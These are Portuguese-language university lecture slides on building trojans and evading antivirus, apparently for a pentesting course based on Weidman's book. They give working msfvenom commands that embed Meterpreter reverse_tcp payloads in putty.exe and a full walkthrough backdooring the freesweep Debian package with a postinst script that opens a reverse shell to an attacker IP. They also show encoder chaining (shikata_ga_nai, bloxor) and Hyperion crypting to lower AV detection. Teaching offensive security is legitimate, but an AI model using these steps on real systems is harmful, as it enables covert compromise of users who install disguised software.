5.2 - Ataques Maliciosos, Ameaças e Vulnerabilidades - Prática 2

prof. Fábio Engel

fabioe@utfpr.edu.br

Conteúdo

1. Ataques Maliciosos, Ameaças e Vulnerabilidades - Prática 2

Evitando aplicações antivirus

- Anteriormente escondemos nosso payload dentro de um programa legítimo. Deste modo ele podia executar em segundo plano, não chamando atenção do usuário.
- Para isso foi utilizada a ferramenta **Msfvenom**, que injetou um payload do Metasploit em um binário legítimo.

Evitando aplicações antivirus

- **Msfvenom**
- Embora efetuar a engenharia reversa de binários ou obter acesso ao código-fonte para adicionar o código de um cavalo de Troia manualmente esteja além do escopo desta aula, a ferramenta Msfvenom tem algumas opções que podem ser usadas para embutir um payload do Metasploit em binário legítimo.
- A listagem abaixo mostra algumas opções importantes:

```
root@kali:~/Desktop# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
```

Evitando aplicações antivirus

- Em particular, a flag **-x** permite usar um arquivo executável como template, no qual nosso payload selecionado será inserido.
- No entanto, embora o executável resultante se pareça com o original, o payload adicionado causará uma pausa na execução do original, e não devemos esperar que um usuário execute um programa que pareça travar na inicialização diversas vezes.
- Felizmente, a flag **-k** mantém o template do executável intacto e nosso payload será executado em uma nova thread, permitindo que o programa original execute normalmente.

Evitando aplicações antivirus

- Vamos utilizar as flags **-x** e **-k** para criar um executável Windows contendo um cavalo de Troia, que parecerá normal a um usuário, porém nos enviará uma sessão Meterpreter em background.
- Para isso, selecionamos o payload usando a flag **-p** e definimos suas opções relevantes.
- Para embutir o nosso payload no binário putty.exe, digite:
  - msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.149 lport=2345 -x putty.exe -k -f exe > putty2.exe

Evitando aplicações antivirus

- A flag **-f** diz ao Msfvenom para gerar o payload em formato executável.
- Após a criação, execute o binário contendo o cavalo de Troia no alvo Windows.
- O programa putty2.exe parecerá executar normalmente, porém o payload incluído deverá nos fornecer uma sessão Meterpreter se instalarmos um handler utilizando o módulo multi/handler.

Trojan em Linux

- Trojan em binário Linux[1].
  - Empacotaremos um *payload* do Metasploit em um pacote deb do Ubuntu para nos fornecer um shell no Linux.
  - Vídeo de demonstração: `http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx`.

[1] `https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/`

Trojan em Linux

- Primeiro precisamos baixar o pacote que vamos infectar e movê-lo para um diretório de trabalho temporário.
  - Em nosso exemplo, usaremos o pacote freesweep, uma versão em texto do Mine Sweeper.

```
fabio@ubuntu:~$ sudo apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
...snip...
fabio@ubuntu:~$ mkdir /tmp/evil
fabio@ubuntu:~$
    mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb /tmp/evil
fabio@ubuntu:~$ cd /tmp/evil/
```

Trojan em Linux

- Em seguida, precisamos extrair o pacote para um diretório de trabalho e criar um diretório DEBIAN para conter nossos "recursos" adicionais adicionados.

```
fabio@ubuntu/temp/evil$ dpkg -x freesweep_1.0.2-1_amd64.deb work
fabio@ubuntu/temp/evil$ mkdir work/DEBIAN
```

Trojan em Linux

- No diretório DEBIAN, crie um arquivo chamado control que contém o seguinte:

```
fabio@ubuntu/temp/evil/work/DEBIAN$ cat > control
Package: freesweep
Version: 1.0.2-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of
    the popular minesweeper game, where one tries to find all the mines
    without igniting any, based on hints given by the computer. Unlike most
    implementations of this game, Freesweep works in any visual text
    display - in Linux console, in an xterm, and in  most text-based
    terminals currently in use.
```

Trojan em Linux

- Também precisamos criar um *script* de pós-instalação que executará nosso binário. Em nosso diretório DEBIAN, criaremos um arquivo chamado postinst que contém o seguinte:

```
fabio@ubuntu/temp/evil/work/DEBIAN$ cat > postinst
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores
    & /usr/games/freesweep &
```

Trojan em Linux

- Agora vamos criar nossa carga maliciosa. Estaremos criando um *shell* reverso para se conectar de volta a nós chamado 'freesweep_scores'.

```
fabio@ubuntu:~$ msfvenom -a x64 --platform linux -p
    linux/x64/shell/reverse_tcp LHOST=192.168.0.31 LPORT=8080 -b
    "\x00\x0a\x0d" -f elf -o tmp/evil/work/usr/games/freesweep_scores
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: tmp/evil/work/usr/games/freesweep_scores
```

Trojan em Linux

- Agora tornaremos nosso script de pós-instalação executável e construiremos nosso novo pacote. O arquivo construído será chamado work.deb, então vamos querer mudar isso para freesweep.deb.

```
fabio@ubuntu/temp/evil/work/DEBIAN$ chmod 755 postinst
fabio@ubuntu/temp/evil/work/DEBIAN$ dpkg-deb --build /tmp/evil/work
dpkg-deb: building package freesweep in /tmp/evil/work.deb.
fabio@ubuntu/temp/evil$ mv work.deb freesweep.deb
```

Trojan em Linux

- Precisaremos configurar o multi/handler Metasploit para receber a conexão de entrada.

```
fabio@ubuntu:~$ msfconsole -q -x "use exploit/multi/handler;set PAYLOAD
    linux/x64/shell/reverse_tcp; set LHOST 192.168.0.31; set LPORT 8080;
    run; exit -y"
PAYLOAD => linux/x64/shell/reverse_tcp
LHOST => 192.168.0.31
LPORT => 8080
[*] Started reverse handler on 192.168.0.31:8080
[*] Starting the payload handler...
```

Trojan em Linux

- Em nossa vítima do Ubuntu, de alguma forma convencemos o usuário a baixar e instalar nosso incrível novo jogo.

```
fabio@ubuntu:~$ sudo dpkg -i freesweep.deb
```

- Conforme a vítima instala e joga nosso jogo, recebemos um shell!

Como funcionam os aplicativos antivírus

- **Como funcionam os aplicativos antivírus**
  - A maioria das soluções antivírus começa comparando códigos potencialmente perigosos com um conjunto de padrões e regras que compõe as definições do antivírus; essas definições são correlacionadas a códigos maliciosos conhecidos.
  - As definições de antivírus são atualizadas regularmente à medida que novos malwares são identificados pelos fornecedores. Esse tipo de identificação se chama **análise estática**.

Como funcionam os aplicativos antivírus

- À medida que usamos diferentes métodos nesta seção para reduzir a nossa taxa de detecção, tenha em mente que, mesmo que uma taxa de detecção de 0% não seja atingida entre todos os fornecedores de antivírus, se você souber qual é a solução de antivírus implantada no ambiente de seu cliente, seus esforços poderão ser focados em se desviar somente desse programa antivírus.

Como funcionam os aplicativos antivírus

- **VírusTotal**
  - Uma maneira de ver quais soluções de antivírus sinalizarão que um programa é malicioso consiste em carregar o arquivo em questão no site VirusTotal (www.virustotal.com).
  - Atualmente, os scans do VirusTotal carregam arquivos com 57 programas antivírus e informa quais identificam o malware.

Como funcionam os aplicativos antivírus

- O VirusTotal compartilha binários carregados com os fornecedores de antivírus para que eles possam criar assinaturas correspondentes. As empresas de antivírus utilizam as assinaturas do VirusTotal para aperfeiçoar suas ferramentas de detecção, portanto tudo o que você carregar no site poderá ser detectado por um software antivírus simplesmente pelo fato de você tê-lo carregado. Para evitar esse risco, o produto antivírus pode ser instalado em uma máquina virtual e você poderá testar seus cavalos de Troia manualmente em relação a esse produto.

Passando por um programa antivírus

- Está claro que, se quisermos evitar soluções antivírus, devemos nos esforçar mais para nos esconder.
- Vamos dar uma olhada em outras maneiras úteis de ocultar nossos payloads do Metasploit, além de simplesmente inseri-los em um executável.

Passando por um programa antivírus

- **Efetuando uma codificação**
  - Os codificadores são ferramentas que permitem evitar caracteres em um exploit que iriam denunciá-lo.
  - Os codificadores desfiguram o payload e adicionam instruções para decodificação a serem executadas para decodificar o payload antes de ele ser executado.
- O fato de os codificadores do Metasploit terem sido concebidos para ajudar a evitar programas antivírus constitui um erro comum de percepção.

Passando por um programa antivírus

- Alguns codificadores do Metasploit criam código polimórfico - ou código mutante -, que garante que o payload codificado pareça diferente a cada vez que for gerado.
- Esse processo dificulta que os fornecedores de antivírus criem assinaturas para o payload, porém, como veremos, isso não é suficiente para evitar a maioria das soluções de antivírus.
- Para listar todos os codificadores disponíveis no Msfvenom, utilize a opção **-l encoders**.
  - **msfvenom -l encoders**

Passando por um programa antivírus

- Um dos codificadores com maior classificação é o x86/shikata_ga_nai. *Shikata Ga Nai* correspondente à tradução em japonês para "Não tem jeito".
- As classificações dos codificadores são baseadas no nível de entropia da saída. Os com melhores classificações indicam que conseguem desfigurar os payloads de modo que se tornem mais difíceis de serem reconhecidos.

Passando por um programa antivírus

- Diga ao Msfvenom para usar o codificador shikata_ga_nai usando a flag -e, conforme mostrado abaixo. Além do mais, para nos ocultarmos melhor, passaremos o nosso payload por um codificador diversas vezes, codificando a saída da execução anterior usando a flag -i e especificando o número de rodadas de codificação (dez, neste caso).
  - **msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.149 lport=7070 -e x86/shikata_ga_nai -i 10 -f exe > meterpreterencoded.exe**

Passando por um programa antivírus

- Agora carregue o binário resultante no VirusTotal.

Passando por um programa antivírus

- Agora carregue o binário resultante no VirusTotal.
- Mesmo com a codificação, os antivírus irão detectar o malware.
- O shikata_ga_nai sozinho não resolve o problema.

Passando por um programa antivírus

- Para ver se podemos melhorar nossos resultados, podemos tentar usar vários codificadores do Metasploit em nosso payload. Por exemplo, podemos combinar diversas iterações do shikata_ga_nai com outro codificador do Metasploit, o x86/bloxor, como mostrado abaixo:

```
root@kali:~/Desktop# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.149
 lport=7070 -e x86/shikata_ga_nai -i 10 -f raw > meterpreterencoded.bin
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai succeeded with size 495 (iteration=5)
x86/shikata_ga_nai succeeded with size 522 (iteration=6)
x86/shikata_ga_nai succeeded with size 549 (iteration=7)
x86/shikata_ga_nai succeeded with size 576 (iteration=8)
x86/shikata_ga_nai succeeded with size 603 (iteration=9)
x86/shikata_ga_nai chosen with final size 603
Payload size: 603 bytes
```

Passando por um programa antivírus

- Dessa vez, começamos com o Msfvenom usando o payload windows/meterpreter/reverse_tcp, como sempre, e o codificamos com o shikata_ga_nai, do mesmo modo que foi feito no exemplo anterior.
- Contudo, em vez de definir o formato para .exe, geramos a saída em formato puro. Além do mais, em vez de enviar o resultado para um arquivo .exe como fizemos anteriormente, dessa vez enviamos os bytes puros ara um arquivo .bin.

Passando por um programa antivírus

- Agora usamos o resultado da codificação com o shikata_ga_nai e o codificamos com o x86/bloxor.

```
root@kali:~/Desktop# msfvenom -p - -f exe -a x86 --platform windows -e x86/bloxor -i 2 >
 meterpretermultiencoded.exe < meterpreterencoded.bin
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 2 iterations of x86/bloxor
x86/bloxor succeeded with size 680 (iteration=0)
x86/bloxor succeeded with size 759 (iteration=1)
x86/bloxor chosen with final size 759
Payload size: 759 bytes
```

- Inicialmente, definimos o payload com nulo usando a opção **-p** -. E como não estamos definindo um payload, devemos ajustar duas novas opções para dizer ao Msfvenom de que modo nossa entrada será codificada: -a x86 para especificar a arquitetura como 32 bits e −−platform windows para especificar a plataforma windows. No final, usamos o símbolo $<$ para efetuar o pipe do arquivo .bin do comando anterior para servir de entrada ao Msfvenom.

Passando por um programa antivírus

- O executável resultante será codificado com o shikata_ga_nai e com o x86/bloxor. Teste agora este executável no VirusTotal.
- Os resultados podem ser melhorados ao efetuar experiências com diferentes conjuntos de codificadores e encadeando mais de dois deles ou efetuando combinações de técnicas.
- Por exemplo, poderíamos embutir o nosso payload em um binário e o codificar com o shikata_ga_nai
  - **msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.149 lport=7070 -x putty.exe -k -e x86/shikata_ga_nai -i 10 -f exe > puttyencoded.exe**

Criptografando executáveis com o Hyperion

- Outra maneira de ocultar nosso payload é criptografando-o.
- O **Hyperion** é uma ferramenta para criptografar executáveis e utiliza a criptografia AES. Após criptografar, o Hyperion joga fora as chaves de criptografia. Quando o programa é executado, ele utiliza a força bruta para descobrir a chave de criptografia e se autodescriptografar a fim de gerar de volta o executável original.

Criptografando executáveis com o Hyperion

- Para que a decriptografia seja possível, o Hyperion reduz demais o keyspace possível para a chave de criptografia, o que significa que os binários criptografados com ele não devem ser considerados seguros do ponto de vista da criptografia.

Criptografando executáveis com o Hyperion

- Vamos começar usando o Hyperion para criptografar o executável simples do Meterpreter, sem nenhuma técnica adicional para evitar antivírus, como mostrado abaixo:
  - msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.149 lport=7070 -f exe > meterpreter.exe
- No moodle o Hyperion está disponível para execução em ambiente Windows, porém, pode ser usado no Linux por meio da ferramenta Wine. Para isto utilize:
  - hyperion.exe meterpreter.exe bypasshyperion.exe
- Neste exemplo, será produzido o executável bypasshyperion.exe

Criptografando executáveis com o Hyperion

- O Hyperion aceita dois argumentos: o nome do arquivo a ser criptografado e o nome do arquivo de saída criptografado.
- Utilize o executável produzido no VirusTotal.

Criptografando executáveis com o Hyperion

- **Atividade**
  - Para reduzir mais ainda a nossa taxa de detecção, tente combinar criptografia do Hyperion com outras técnicas apresentadas nesta seção.

Escondendo-se à vista de todos

- Talvez a melhor maneira de evitar programas antivírus seja não usar de forma alguma os payloads tradicionais.
- Se estiver familiarizado com a codificação para Windows, você poderá usar APIs do Windows para imitar a funcionalidade de um payload.
- É claro que não há nenhuma regra que determine que aplicações legítimas não possam estabelecer uma conexão TCP com outro sistemas e enviar dados - essencialmente, o que nosso payload *windows/meterprete/reverse_tcp* faz.

Referências

- Testes de Invasão: Uma introdução prática ao hacking. Georgia Wiedman, ed. Novatec, 2014.